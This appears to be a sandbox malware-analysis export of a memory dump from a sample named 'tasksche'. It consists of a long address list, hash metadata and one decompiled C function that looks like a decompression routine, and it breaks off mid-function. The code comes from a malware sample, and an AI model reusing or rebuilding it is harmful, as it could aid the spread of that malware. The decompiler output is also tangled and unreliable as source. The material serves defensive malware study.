0x0041762b
0x0041761b
0x0041760b
0x004175fb
0x004175eb
0x004175db
0x00000000
0x004175ca
0x004175a2
0x004175a2
0x004175a5
0x004175a8
0x004175ae
0x004175b3
0x004175b7
0x004175bb
0x004175be
0x004175c1
0x004175c1
0x004175c1
0x004175c1
0x00000000
0x004175a8
0x0041754d
0x00417550
0x00000000
0x00000000
0x00417552
0x00417552
0x00417555
0x00417557
0x0041755a
0x0041755c
0x00417560
0x00417565
0x0041756b
0x00417571
0x00417577
0x0041757d
0x00417583
0x00417589
0x0041758c
0x0041758f
0x00417592
0x00417592
0x00417592
0x00417595
0x00000000
0x004174ed
0x004174ed
0x004174f6
0x004174f7
0x004174fa
0x00000000
0x004174fa
0x004174eb
0x00417444
0x0041744b
0x0041744b
0x0041744d
0x00000000
0x00000000
0x0041744f
0x00417450
0x00417453
0x00417456
0x00000000
0x00000000
0x00000000
0x00417458
0x0041745a
0x00000000
0x0041745a
0x00417413
0x00417416
0x00417420
0x00417428
0x0041742d
0x00417430
0x00000000
0x00000000
0x00000000
0x00000000
0x004173e3
0x004173e3
0x004173e6
0x004173e8
0x004173e9
0x004173ec
0x004173ec
0x00000000
0x004173e3
0x00000000
0x00417296
0x00417262
0x00417266
0x0041726b
0x0041726d
0x00000000
0x00000000
0x00000000
0x00416e67
0x00416e67
0x00416e6d
0x00416e70
0x00416e82
0x00416e8c
0x00416e8f
0x00416e91
0x00416e95
0x00416e9c
0x00416ea1
0x00416ea7
0x00416eae
0x00416eb0
0x00416eb0
0x00416eb3
0x00416eb3
0x00416e72
0x00416e75
0x00416e75
0x00416ebb
0x00416ebe
0x00416ec3
0x00416ec9
0x00416ece
0x00416ed5
0x00416f02
0x00416f03
0x00416f06
0x00416f08
0x00416f22
0x00416f25
0x00416f2c
0x00416f32
0x00416f3d
0x00416f42
0x00416f49
0x00416f4f
0x00416f51
0x00416f51
0x00416f51
0x00416f53
0x00000000
0x00416f0a
0x00416f0a
0x00416f11
0x00416f11
0x00416f13
0x00416f20
0x00416f20
0x00416f20
0x00416f15
0x00416f16
0x00416f19
0x00416f1c
0x00000000
0x00416f1e
0x00000000
0x00416f1e
0x00416f1c
0x00000000
0x00416f11
0x00416ed7
0x00416ed9
0x00416edc
0x00416ee6
0x00416eee
0x00416ef3
0x00416ef6
0x00416f5b
0x00416f5b
0x00416f5e
0x00416f70
0x00416f79
0x00416f7c
0x00416f7e
0x0041707e
0x0041707e
0x00417081
0x00417087
0x0041708d
0x00417090
0x00417096
0x00417098
0x0041709b
0x004170a1
0x004170a3
0x004170a3
0x004170a3
0x004170a3
0x004170a1
0x00417096
0x004170a6
0x004170b0
0x004170b3
0x004170b9
0x004170bf
0x004170c2
0x004170c5
0x004170c8
0x004170cb
0x004170e6
0x004170e8
0x004170ed
0x004170f5
0x004170fb
0x004170fe
0x00417100
0x00417219
0x00417219
0x0041721d
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x00416ca6
0x00417223
0x00417223
0x00417229
0x0041722f
0x00417239
0x00417241
0x00417247
0x0041724b
0x0041724f
0x00417252
0x00417252
0x00417256
0x00416ca6
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x00000000
0x00416ca6
0x00000000
0x00416ca6
0x00417106
0x00417108
0x00000000
0x00000000
0x00417114
0x0041711e
0x00417121
0x00417126
0x00417128
0x0041712b
0x0041717c
0x0041717f
0x004171a8
0x004171a8
0x004171ab
0x004171ab
0x004171ad
0x004171b5
0x004171b8
0x004171ba
0x004171bd
0x004171c6
0x004171c9
0x004171cc
0x004171d5
0x004171d8
0x004171db
0x004171e4
0x004171e7
0x004171ea
0x004171f3
0x004171f6
0x004171f9
0x00417202
0x00417205
0x00417208
0x00417211
0x00417211
0x00417208
0x004171f9
0x004171ea
0x004171db
0x004171cc
0x004171bd
0x00000000
0x00416ca6
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x0041763c
0x0041763c
0x0041763c
0x00417646
0x0041764c
0x00417652
0x0041765c
0x00417664
0x0041766a
0x0041766e
0x00417672
0x00417675
0x00417675
0x00417679
0x00416ca6
0x00416ca6
0x00416ca6
0x00000000
0x0041729c
0x0041729c
0x0041729f
0x0041729f
0x004172a7
0x004172ae
0x004172c6
0x004172c9
0x004172cc
0x004172d0
0x004172d8
0x004172de
0x004172e1
0x004172e3
0x00000000
0x00000000
0x004172e9
0x004172eb
0x00000000
0x00000000
0x004172f7
0x00417301
0x00417304
0x00417309
0x0041730b
0x0041730e
0x0041735b
0x0041735e
0x00417386
0x00417386
0x00000000
0x00417386
0x00417362
0x00417362
0x00417365
0x00417368
0x0041736e
0x00417373
0x00417377
0x0041737b
0x0041737e
0x00417381
0x00417381
0x00417381
0x00417381
0x00000000
0x00417368
0x00417310
0x00417313
0x00000000
0x00000000
0x00417315
0x00417318
0x00417318
0x0041731b
0x0041731d
0x00417321
0x00417326
0x0041732c
0x00417332
0x00417338
0x0041733e
0x00417344
0x0041734a
0x0041734d
0x00417350
0x00417353
0x00417353
0x00417353
0x00417356
0x00000000
0x00417356
0x004172b0
0x004172b9
0x004172ba
0x004172bd
0x00000000
0x0041726f
0x00417275
0x0041727a
0x0041727a
0x00000000
0x0041738e
0x0041738e
0x0041738e
0x00417398
0x0041739e
0x004173a4
0x004173ae
0x004173b6
0x004173bc
0x004173c0
0x004173c4
0x004173c7
0x004173c7
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00416cb4
0x00417184
0x00417184
0x00417187
0x0041718a
0x00417190
0x00417195
0x00417199
0x0041719d
0x004171a0
0x004171a3
0x004171a3
0x004171a3
0x004171a3
0x00000000
0x0041718a
0x0041712d
0x00417130
0x00000000
0x00000000
0x00417134
0x00417134
0x00417137
0x00417139
0x0041713c
0x0041713e
0x00417142
0x00417147
0x0041714d
0x00417153
0x00417159
0x0041715f
0x00417165
0x0041716b
0x0041716e
0x00417171
0x00417174
0x00417174
0x00417174
0x00417177
0x00000000
0x004170cd
0x004170cd
0x004170d3
0x004170d4
0x004170d5
0x004170d6
0x004170dc
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x00416ca6
0x004170cb
0x00416f84
0x00416f87
0x0041705d
0x00417064
0x00417069
0x0041706f
0x00417076
0x00417078
0x00417078
0x0041707b
0x00000000
0x0041707b
0x00416f8d
0x00416f91
0x00416f98
0x00416fa0
0x00416fa6
0x00416faf
0x00416fb1
0x00416fb1
0x00416fb4
0x00416fb4
0x00416fb9
0x00416fbe
0x00416fc4
0x00416fc9
0x00416fd0
0x00416ffd
0x00416ffe
0x00417001
0x00417003
0x0041701d
0x00417020
0x00417027
0x0041702d
0x00417038
0x0041703d
0x00417044
0x0041704a
0x0041704c
0x0041704c
0x0041704c
0x0041704e
0x00000000
0x0041704e
0x00417005
0x0041700c
0x0041700c
0x0041700e
0x00000000
0x00000000
0x00417010
0x00417011
0x00417014
0x00417017
0x00000000
0x00000000
0x00000000
0x00417019
0x0041701b
0x00000000
0x00416fd2
0x00416fd4
0x00416fd7
0x00416fe1
0x00416fe9
0x00416fee
0x00416ff1
0x00417056
0x00417056
0x00000000
0x00417056
0x00416fd0
0x00416f61
0x00000000
0x00416f61
0x00416ed5
0x00416e22
0x00416e22
0x00416e29
0x00416e50
0x00416e53
0x00416e2b
0x00416e31
0x00416e40
0x00416e40
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x00416ca6
0x00416e20
0x00416d93
0x00416d3c
0x00416d3e
0x00000000
0x00000000
0x00416d42
0x00416d47
0x00416d4d
0x00416d53
0x00000000
0x00000000
0x00416d59
0x00416d6d
0x00416d6d
0x00416d74
0x0041767e
0x00000000
0x0041767e
0x00000000
0x00416d74
0x00416d5b
0x00416d61
0x00416d67
0x00000000
0x00000000
0x00000000
0x00416d67
0x00416ca6
0x00416c5d
0x00416c64
0x00416c6b
0x00000000
0x00000000
0x00416c71
0x00416c77
0x00416c78
0x00416c7b
0x00416c7e
0x00416c85
0x00000000
0x00000000
0x00416c96
0x00416c9d
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 345b0d20b664bc5a7c067b8b85495d146ce8f508c18b5b2458494fa8c5d0ce26
Instruction ID: ec473c390e775c3513d1f4c5f902ffdbdf11d251c2712a84011b28fca20aaef5
Opcode Fuzzy Hash: 345b0d20b664bc5a7c067b8b85495d146ce8f508c18b5b2458494fa8c5d0ce26
Instruction Fuzzy Hash: 5F72E770A087459FCB29CF24C5D0AE9BBF1EF55304F1584AED99A8B342D338E985CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00415D9A Relevance: .8, Instructions: 795
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E00415D9A(void* __ecx, signed int _a4) {
				void* _v8;
				char* _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t458;
				intOrPtr _t460;
				intOrPtr _t461;
				signed int _t462;
				signed int _t463;
				unsigned int _t464;
				signed int _t467;
				signed int _t468;
				signed int _t469;
				signed int _t471;
				unsigned int _t472;
				signed int _t475;
				signed int _t476;
				signed int _t481;
				intOrPtr _t498;
				unsigned int _t501;
				unsigned int _t504;
				intOrPtr* _t505;
				unsigned int _t506;
				signed int _t509;
				signed int _t510;
				signed int _t511;
				signed int _t512;
				signed int _t514;
				unsigned int _t519;
				unsigned int _t520;
				unsigned int _t522;
				intOrPtr* _t523;
				signed int _t525;
				char _t526;
				signed int _t528;
				signed int _t529;
				signed int _t536;
				unsigned int _t537;
				signed int _t540;
				signed int _t541;
				signed int _t549;
				signed int _t550;
				unsigned int _t569;
				unsigned int _t572;
				intOrPtr* _t573;
				unsigned int _t576;
				signed int _t579;
				signed int _t580;
				signed int _t581;
				unsigned int _t582;
				signed int _t585;
				signed int _t586;
				signed int _t587;
				unsigned int _t588;
				signed int _t589;
				signed int _t590;
				signed int _t591;
				signed int _t593;
				unsigned int _t594;
				signed int _t597;
				signed int _t598;
				signed int _t600;
				void* _t607;
				signed int _t608;
				intOrPtr _t613;
				signed int _t614;
				signed int _t617;
				void* _t619;
				intOrPtr* _t622;
				signed int _t625;
				void* _t627;
				signed char _t631;
				void* _t633;
				signed int _t634;
				intOrPtr _t636;
				char* _t639;
				char* _t640;
				void* _t642;
				intOrPtr* _t646;
				void* _t647;
				signed int _t650;
				signed int _t652;
				char* _t658;
				signed char _t663;
				signed int _t666;
				void* _t668;
				signed char _t672;
				signed int _t674;
				unsigned int _t679;
				char* _t680;
				void* _t682;
				signed int _t688;
				void* _t690;
				intOrPtr* _t692;
				void* _t693;
				signed int _t696;
				void* _t699;
				intOrPtr* _t704;
				void* _t705;
				signed int _t708;
				void* _t711;
				intOrPtr* _t716;
				void* _t717;
				signed int _t720;
				signed int _t726;
				signed int _t727;
				signed int _t732;
				signed int _t733;
				signed int _t738;
				signed int _t744;
				void* _t758;
				signed int _t759;
				intOrPtr _t761;
				char* _t762;
				signed int _t771;
				signed int _t772;
				unsigned int _t776;
				void* _t778;
				signed int _t779;
				intOrPtr _t781;
				char* _t782;
				signed int _t791;
				signed int _t792;
				void* _t806;
				intOrPtr* _t808;
				void* _t810;

				_t608 = _a4;
				_t806 = __ecx;
				if( *((char*)(_t608 + 0x2c)) != 0) {
					L3:
					_t458 =  *((intOrPtr*)(_t608 + 0x18));
					_t808 = _t608 + 4;
					__eflags =  *_t808 -  *((intOrPtr*)(_t608 + 0x24)) + _t458;
					if( *_t808 <=  *((intOrPtr*)(_t608 + 0x24)) + _t458) {
						_t613 =  *((intOrPtr*)(_t608 + 0x20)) + _t458 - 1;
						_t460 =  *((intOrPtr*)(_t608 + 0x4acc)) - 0x10;
						__eflags = _t613 - _t460;
						_v32 = _t613;
						_v36 = _t460;
						_v28 = _t613;
						if(_t613 >= _t460) {
							_v28 = _t460;
						}
						while(1) {
							L8:
							_t614 =  *(_t806 + 0xe6dc);
							 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
							_t461 =  *_t808;
							__eflags = _t461 - _v28;
							if(_t461 < _v28) {
								goto L15;
							}
							L9:
							__eflags = _t461 - _v32;
							if(__eflags > 0) {
								L98:
								_t526 = 1;
								goto L99;
							}
							if(__eflags != 0) {
								L12:
								__eflags = _t461 - _v36;
								if(_t461 < _v36) {
									L14:
									__eflags = _t461 -  *((intOrPtr*)(_t608 + 0x4acc));
									if(_t461 >=  *((intOrPtr*)(_t608 + 0x4acc))) {
										L157:
										 *((char*)(_t608 + 0x4ad3)) = 1;
										goto L98;
									}
									goto L15;
								}
								__eflags =  *((char*)(_t608 + 0x4ad2));
								if( *((char*)(_t608 + 0x4ad2)) == 0) {
									goto L157;
								}
								goto L14;
							}
							__eflags =  *((intOrPtr*)(_t608 + 8)) -  *((intOrPtr*)(_t608 + 0x1c));
							if( *((intOrPtr*)(_t608 + 8)) >=  *((intOrPtr*)(_t608 + 0x1c))) {
								goto L98;
							}
							goto L12;
							L15:
							_t462 =  *(_t806 + 0x70);
							__eflags = ( *((intOrPtr*)(_t806 + 0x4b30)) - _t462 & _t614) - 0x1004;
							if(( *((intOrPtr*)(_t806 + 0x4b30)) - _t462 & _t614) >= 0x1004) {
								L20:
								_t463 = E0040978C(_t808);
								_t726 =  *(_t608 + 0xb4);
								_t464 = _t463 & 0x0000fffe;
								__eflags = _t464 -  *((intOrPtr*)(_t608 + 0x34 + _t726 * 4));
								if(_t464 >=  *((intOrPtr*)(_t608 + 0x34 + _t726 * 4))) {
									_t727 = _t726 + 1;
									_a4 = 0xf;
									__eflags = _t727 - 0xf;
									if(_t727 >= 0xf) {
										L28:
										_t617 =  *(_t808 + 4) + _a4;
										 *_t808 =  *_t808 + (_t617 >> 3);
										_t730 = _a4;
										 *(_t808 + 4) = _t617 & 0x00000007;
										_t619 = 0x10;
										_t467 = (_t464 -  *((intOrPtr*)(_t608 + 0x30 + _a4 * 4)) >> _t619 - _a4) +  *((intOrPtr*)(_t608 + 0x74 + _t730 * 4));
										__eflags = _t467 -  *((intOrPtr*)(_t608 + 0x30));
										if(_t467 >=  *((intOrPtr*)(_t608 + 0x30))) {
											_t467 = 0;
											__eflags = 0;
										}
										_t468 =  *(_t608 + 0xcb8 + _t467 * 2) & 0x0000ffff;
										L31:
										__eflags = _t468 - 0x100;
										if(_t468 >= 0x100) {
											__eflags = _t468 - 0x106;
											if(_t468 < 0x106) {
												__eflags = _t468 - 0x100;
												if(_t468 != 0x100) {
													__eflags = _t468 - 0x101;
													if(_t468 != 0x101) {
														_t469 = _t468 + 0xfffffefe;
														__eflags = _t469;
														_t622 = _t806 + 0x54 + _t469 * 4;
														_v24 =  *_t622;
														if(_t469 == 0) {
															L127:
															 *((intOrPtr*)(_t806 + 0x54)) = _v24;
															_t471 = E0040978C(_t808);
															_t732 =  *(_t608 + 0x2d78);
															_t472 = _t471 & 0x0000fffe;
															__eflags = _t472 -  *((intOrPtr*)(_t608 + 0x2cf8 + _t732 * 4));
															if(_t472 >=  *((intOrPtr*)(_t608 + 0x2cf8 + _t732 * 4))) {
																_t733 = _t732 + 1;
																_a4 = 0xf;
																__eflags = _t733 - 0xf;
																if(_t733 >= 0xf) {
																	L135:
																	_t625 =  *(_t808 + 4) + _a4;
																	 *_t808 =  *_t808 + (_t625 >> 3);
																	_t736 = _a4;
																	 *(_t808 + 4) = _t625 & 0x00000007;
																	_t627 = 0x10;
																	_t475 = (_t472 -  *((intOrPtr*)(_t608 + 0x2cf4 + _a4 * 4)) >> _t627 - _a4) +  *((intOrPtr*)(_t608 + 0x2d38 + _t736 * 4));
																	__eflags = _t475 -  *((intOrPtr*)(_t608 + 0x2cf4));
																	if(_t475 >=  *((intOrPtr*)(_t608 + 0x2cf4))) {
																		_t475 = 0;
																		__eflags = 0;
																	}
																	_t476 =  *(_t608 + 0x397c + _t475 * 2) & 0x0000ffff;
																	L138:
																	__eflags = _t476 - 8;
																	if(_t476 >= 8) {
																		_t631 = (_t476 >> 2) - 1;
																		_a4 = _t631;
																		_t481 = ((_t476 & 0x00000003 | 0x00000004) << _t631) + 2;
																		_v20 = _t481;
																		__eflags = _t631;
																		if(_t631 > 0) {
																			_t506 = E0040978C(_t808);
																			_t642 = 0x10;
																			_v20 = _v20 + (_t506 >> _t642 - _a4);
																			_t509 =  *(_t808 + 4) + _a4;
																			 *_t808 =  *_t808 + (_t509 >> 3);
																			_t510 = _t509 & 0x00000007;
																			__eflags = _t510;
																			 *(_t808 + 4) = _t510;
																			_t481 = _v20;
																		}
																	} else {
																		_t481 = _t476 + 2;
																		_v20 = _t481;
																	}
																	_t738 =  *(_t806 + 0x70) - _v24;
																	_t633 =  *((intOrPtr*)(_t806 + 0xe6d8)) + 0xffffefff;
																	 *(_t806 + 0x68) = _t481;
																	_a4 = _t481;
																	_v16 = _t738;
																	__eflags = _t738 - _t633;
																	if(_t738 >= _t633) {
																		L153:
																		__eflags = _t481;
																	} else {
																		__eflags =  *(_t806 + 0x70) - _t633;
																		if( *(_t806 + 0x70) >= _t633) {
																			goto L153;
																		}
																		_t636 =  *((intOrPtr*)(_t806 + 0x4b34));
																		_v12 = _t738 + _t636;
																		_t744 =  *(_t806 + 0x70);
																		_v8 = _t636 + _t744;
																		 *(_t806 + 0x70) = _t481 + _t744;
																		__eflags = _v24 - _t481;
																		if(_v24 >= _t481) {
																			__eflags = _t481 - 8;
																			if(_t481 < 8) {
																				L113:
																				__eflags = _a4;
																				if(_a4 <= 0) {
																					continue;
																					do {
																						do {
																							do {
																								do {
																									do {
																										do {
																											do {
																												do {
																													do {
																														do {
																															do {
																																do {
																																	do {
																																		do {
																																			while(1) {
																																				L8:
																																				_t614 =  *(_t806 + 0xe6dc);
																																				 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
																																				_t461 =  *_t808;
																																				__eflags = _t461 - _v28;
																																				if(_t461 < _v28) {
																																					goto L15;
																																				}
																																				goto L9;
																																			}
																																			L82:
																																			__eflags = _a4;
																																		} while (_a4 <= 0);
																																		goto L83;
																																	} while (_a4 <= 0);
																																	goto L114;
																																	L83:
																																	__eflags = _a4 - 1;
																																	_t639 = _v12;
																																	 *_t639 =  *_v8;
																																} while (_a4 <= 1);
																																goto L84;
																															} while (_a4 <= 1);
																															goto L115;
																															L84:
																															__eflags = _a4 - 2;
																															_t227 = _v8 + 1; // 0x300905a
																															 *((char*)(_t639 + 1)) =  *_t227;
																														} while (_a4 <= 2);
																														goto L85;
																														L115:
																														__eflags = _a4 - 2;
																														 *((char*)(_t639 + 1)) =  *((intOrPtr*)(_v12 + 1));
																													} while (_a4 <= 2);
																													goto L116;
																													L85:
																													__eflags = _a4 - 3;
																													_t231 = _v8 + 2; // 0x30090
																													 *((char*)(_t639 + 2)) =  *_t231;
																												} while (_a4 <= 3);
																												goto L86;
																												L116:
																												__eflags = _a4 - 3;
																												 *((char*)(_t639 + 2)) =  *((intOrPtr*)(_v12 + 2));
																											} while (_a4 <= 3);
																											goto L117;
																											L86:
																											__eflags = _a4 - 4;
																											_t235 = _v8 + 3; // 0x300
																											 *((char*)(_t639 + 3)) =  *_t235;
																										} while (_a4 <= 4);
																										goto L87;
																										L117:
																										__eflags = _a4 - 4;
																										 *((char*)(_t639 + 3)) =  *((intOrPtr*)(_v12 + 3));
																									} while (_a4 <= 4);
																									goto L118;
																									L87:
																									__eflags = _a4 - 5;
																									_t239 = _v8 + 4; // 0x3
																									 *((char*)(_t639 + 4)) =  *_t239;
																								} while (_a4 <= 5);
																								goto L88;
																								L118:
																								__eflags = _a4 - 5;
																								 *((char*)(_t639 + 4)) =  *((intOrPtr*)(_v12 + 4));
																							} while (_a4 <= 5);
																							goto L119;
																							L88:
																							__eflags = _a4 - 6;
																							_t243 = _v8 + 5; // 0x4000000
																							 *((char*)(_t639 + 5)) =  *_t243;
																						} while (_a4 <= 6);
																						_t498 = _v8;
																						L90:
																						_t246 = _t498 + 6; // 0x40000
																						 *((char*)(_t639 + 6)) =  *_t246;
																						goto L8;
																						do {
																							while(1) {
																								L8:
																								_t614 =  *(_t806 + 0xe6dc);
																								 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
																								_t461 =  *_t808;
																								__eflags = _t461 - _v28;
																								if(_t461 < _v28) {
																									goto L15;
																								}
																								goto L9;
																							}
																							L91:
																							__eflags = _v16;
																						} while (_v16 <= 0);
																						_t779 =  *(_t806 + 0xe6dc);
																						do {
																							_a4 = _a4 - 1;
																							 *( *((intOrPtr*)(_t806 + 0x4b34)) +  *(_t806 + 0x70)) =  *((intOrPtr*)((_t674 & _t779) +  *((intOrPtr*)(_t806 + 0x4b34))));
																							_t779 =  *(_t806 + 0xe6dc);
																							_t674 = _v24 + 1;
																							__eflags = _a4;
																							_v24 = _t674;
																							 *(_t806 + 0x70) =  *(_t806 + 0x70) + 0x00000001 & _t779;
																						} while (_a4 > 0);
																						goto L8;
																						do {
																							while(1) {
																								L8:
																								_t614 =  *(_t806 + 0xe6dc);
																								 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
																								_t461 =  *_t808;
																								__eflags = _t461 - _v28;
																								if(_t461 < _v28) {
																									goto L15;
																								}
																								goto L9;
																							}
																							goto L153;
																						} while (_t481 <= 0);
																						_t634 =  *(_t806 + 0xe6dc);
																						do {
																							_a4 = _a4 - 1;
																							_v16 = _v16 + 1;
																							 *( *((intOrPtr*)(_t806 + 0x4b34)) +  *(_t806 + 0x70)) =  *((intOrPtr*)((_v16 & _t634) +  *((intOrPtr*)(_t806 + 0x4b34))));
																							_t634 =  *(_t806 + 0xe6dc);
																							__eflags = _a4;
																							 *(_t806 + 0x70) =  *(_t806 + 0x70) + 0x00000001 & _t634;
																						} while (_a4 > 0);
																						goto L8;
																						do {
																							do {
																								do {
																									while(1) {
																										L8:
																										_t614 =  *(_t806 + 0xe6dc);
																										 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
																										_t461 =  *_t808;
																										__eflags = _t461 - _v28;
																										if(_t461 < _v28) {
																											goto L15;
																										}
																										goto L9;
																									}
																									goto L102;
																								} while (_t512 == 0);
																								_t652 =  *(_t806 + 0x70);
																								_a4 = _t512;
																								_t514 = _t652 -  *((intOrPtr*)(_t806 + 0x54));
																								_t758 =  *((intOrPtr*)(_t806 + 0xe6d8)) + 0xffffefff;
																								_v24 = _t514;
																								__eflags = _t514 - _t758;
																								if(_t514 >= _t758) {
																									goto L121;
																								}
																								__eflags = _t652 - _t758;
																								if(_t652 >= _t758) {
																									goto L121;
																								}
																								_t761 =  *((intOrPtr*)(_t806 + 0x4b34));
																								_v12 = _t514 + _t761;
																								_t519 = _a4;
																								_t762 = _t761 + _t652;
																								_v8 = _t762;
																								 *(_t806 + 0x70) = _t652 + _t519;
																								__eflags =  *((intOrPtr*)(_t806 + 0x54)) - _t519;
																								if( *((intOrPtr*)(_t806 + 0x54)) >= _t519) {
																									__eflags = _t519 - 8;
																									if(_t519 < 8) {
																										goto L113;
																									}
																									_t520 = _t519 >> 3;
																									__eflags = _t520;
																									_v24 = _t520;
																									do {
																										E0041C290(_t608, _t806, _t808, _v8, _v12, 8);
																										_v12 = _v12 + 8;
																										_v8 = _v8 + 8;
																										_a4 = _a4 - 8;
																										_t810 = _t810 + 0xc;
																										_t307 =  &_v24;
																										 *_t307 = _v24 - 1;
																										__eflags =  *_t307;
																									} while ( *_t307 != 0);
																									goto L113;
																								}
																								__eflags = _t519 - 8;
																								if(_t519 < 8) {
																									goto L113;
																								}
																								_t522 = _t519 >> 3;
																								__eflags = _t522;
																								_v24 = _t522;
																								_t523 = _v12;
																								_t658 = _t762;
																								do {
																									_a4 = _a4 - 8;
																									 *_t658 =  *_t523;
																									 *((char*)(_t658 + 1)) =  *((intOrPtr*)(_t523 + 1));
																									 *((char*)(_t658 + 2)) =  *((intOrPtr*)(_t523 + 2));
																									 *((char*)(_t658 + 3)) =  *((intOrPtr*)(_t523 + 3));
																									 *((char*)(_t658 + 4)) =  *((intOrPtr*)(_t523 + 4));
																									 *((char*)(_t658 + 5)) =  *((intOrPtr*)(_t523 + 5));
																									 *((char*)(_t658 + 6)) =  *((intOrPtr*)(_t523 + 6));
																									 *((char*)(_t658 + 7)) =  *((intOrPtr*)(_t523 + 7));
																									_t523 = _t523 + 8;
																									_t658 = _t658 + 8;
																									_t294 =  &_v24;
																									 *_t294 = _v24 - 1;
																									__eflags =  *_t294;
																								} while ( *_t294 != 0);
																								L109:
																								_v8 = _t640;
																								_v12 = _t505;
																								goto L113;
																								L97:
																								_t528 = E00415771(_t806,  &_v52);
																								__eflags = _t528;
																							} while (_t528 != 0);
																							goto L98;
																							L121:
																							__eflags = _a4;
																						} while (_a4 <= 0);
																						_t759 =  *(_t806 + 0xe6dc);
																						do {
																							_a4 = _a4 - 1;
																							 *( *((intOrPtr*)(_t806 + 0x4b34)) +  *(_t806 + 0x70)) =  *((intOrPtr*)((_t514 & _t759) +  *((intOrPtr*)(_t806 + 0x4b34))));
																							_t759 =  *(_t806 + 0xe6dc);
																							_t514 = _v24 + 1;
																							__eflags = _a4;
																							_v24 = _t514;
																							 *(_t806 + 0x70) =  *(_t806 + 0x70) + 0x00000001 & _t759;
																						} while (_a4 > 0);
																						goto L8;
																						L119:
																						__eflags = _a4 - 6;
																						 *((char*)(_t639 + 5)) =  *((intOrPtr*)(_v12 + 5));
																					} while (_a4 <= 6);
																					_t498 = _v12;
																					goto L90;
																				}
																				L114:
																				__eflags = _a4 - 1;
																				_t639 = _v8;
																				 *_t639 =  *_v12;
																			}
																			_t501 = _v20 >> 3;
																			__eflags = _t501;
																			_v24 = _t501;
																			do {
																				E0041C290(_t608, _t806, _t808, _v8, _v12, 8);
																				_v12 = _v12 + 8;
																				_v8 = _v8 + 8;
																				_a4 = _a4 - 8;
																				_t810 = _t810 + 0xc;
																				_t441 =  &_v24;
																				 *_t441 = _v24 - 1;
																				__eflags =  *_t441;
																			} while ( *_t441 != 0);
																			goto L113;
																		}
																		__eflags = _t481 - 8;
																		if(_t481 < 8) {
																			goto L113;
																		}
																		_t640 = _v8;
																		_t504 = _v20 >> 3;
																		__eflags = _t504;
																		_v24 = _t504;
																		_t505 = _v12;
																		do {
																			_a4 = _a4 - 8;
																			 *_t640 =  *_t505;
																			 *((char*)(_t640 + 1)) =  *((intOrPtr*)(_t505 + 1));
																			 *((char*)(_t640 + 2)) =  *((intOrPtr*)(_t505 + 2));
																			 *((char*)(_t640 + 3)) =  *((intOrPtr*)(_t505 + 3));
																			 *((char*)(_t640 + 4)) =  *((intOrPtr*)(_t505 + 4));
																			 *((char*)(_t640 + 5)) =  *((intOrPtr*)(_t505 + 5));
																			 *((char*)(_t640 + 6)) =  *((intOrPtr*)(_t505 + 6));
																			 *((char*)(_t640 + 7)) =  *((intOrPtr*)(_t505 + 7));
																			_t505 = _t505 + 8;
																			_t640 = _t640 + 8;
																			_t429 =  &_v24;
																			 *_t429 = _v24 - 1;
																			__eflags =  *_t429;
																		} while ( *_t429 != 0);
																		goto L109;
																	}
																}
																_t646 = _t608 + 0x2cf8 + _t733 * 4;
																while(1) {
																	__eflags = _t472 -  *_t646;
																	if(_t472 <  *_t646) {
																		break;
																	}
																	_t733 = _t733 + 1;
																	_t646 = _t646 + 4;
																	__eflags = _t733 - 0xf;
																	if(_t733 < 0xf) {
																		continue;
																	}
																	goto L135;
																}
																_a4 = _t733;
																goto L135;
															}
															_t647 = 0x10;
															_t511 = _t472 >> _t647 - _t732;
															_t650 = ( *(_t511 + _t608 + 0x2d7c) & 0x000000ff) +  *(_t808 + 4);
															 *_t808 =  *_t808 + (_t650 >> 3);
															 *(_t808 + 4) = _t650 & 0x00000007;
															_t476 =  *(_t608 + 0x317c + _t511 * 2) & 0x0000ffff;
															goto L138;
														} else {
															goto L126;
														}
														do {
															L126:
															 *_t622 =  *((intOrPtr*)(_t622 - 4));
															_t469 = _t469 - 1;
															_t622 = _t622 - 4;
															__eflags = _t469;
														} while (_t469 > 0);
														goto L127;
													}
													L102:
													_t512 =  *(_t806 + 0x68);
													__eflags = _t512;
												}
												_push( &_v52);
												_t525 = E00414290(_t806, _t808);
												__eflags = _t525;
												if(_t525 == 0) {
													goto L98;
												}
												goto L97;
											}
											_t529 = _t468 + 0xfffffefa;
											__eflags = _t529 - 8;
											if(_t529 >= 8) {
												_t663 = (_t529 >> 2) - 1;
												_a4 = _t663;
												_v12 = ((_t529 & 0x00000003 | 0x00000004) << _t663) + 2;
												__eflags = _t663;
												if(_t663 > 0) {
													_t594 = E0040978C(_t808);
													_t711 = 0x10;
													_v12 = _v12 + (_t594 >> _t711 - _a4);
													_t597 =  *(_t808 + 4) + _a4;
													 *_t808 =  *_t808 + (_t597 >> 3);
													_t598 = _t597 & 0x00000007;
													__eflags = _t598;
													 *(_t808 + 4) = _t598;
												}
											} else {
												_v12 = _t529 + 2;
											}
											_v16 = _v12;
											_t536 = E0040978C(_t808);
